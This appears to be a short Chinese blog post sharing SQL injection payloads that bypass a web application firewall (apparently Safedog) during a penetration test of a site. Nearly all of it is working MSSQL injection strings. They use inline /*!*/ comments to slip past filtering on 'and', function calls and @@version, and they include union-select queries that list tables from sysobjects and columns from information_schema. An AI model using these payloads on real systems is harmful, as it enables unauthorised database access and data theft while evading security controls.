sql注入bypass

最近渗透某个站点遇到了狗，经过千辛万苦总算绕过了，在这里分享一下过狗payload

绕过的主要方法还是加/*!*/

这里我主要以mssql注入做测试

绕and

and /*!*/1=2/*!*/

这里面我用db_name/*!*/()绕过函数

绕全局变量

/*!'*/@@version/*!'*/

查表

union  /*!x*//*!y*/select top 1 1,name,3  /*!x*//*!y*/from admin.dbo. sysobjects where xtype=0x55 and  name not in(cast(0x6e6577 as char)      )

查字段

union /*!x*//*!y*/select top 1 1,column_name,3 /*!y*//*!x*/from   /*!'*/information_schema.columns/*!'*/ where table_name=’user’ and  column_name not in(select top 2 column_name /*!y*//*!x*/from   /*!'*/information_schema.columns/*!'*/ )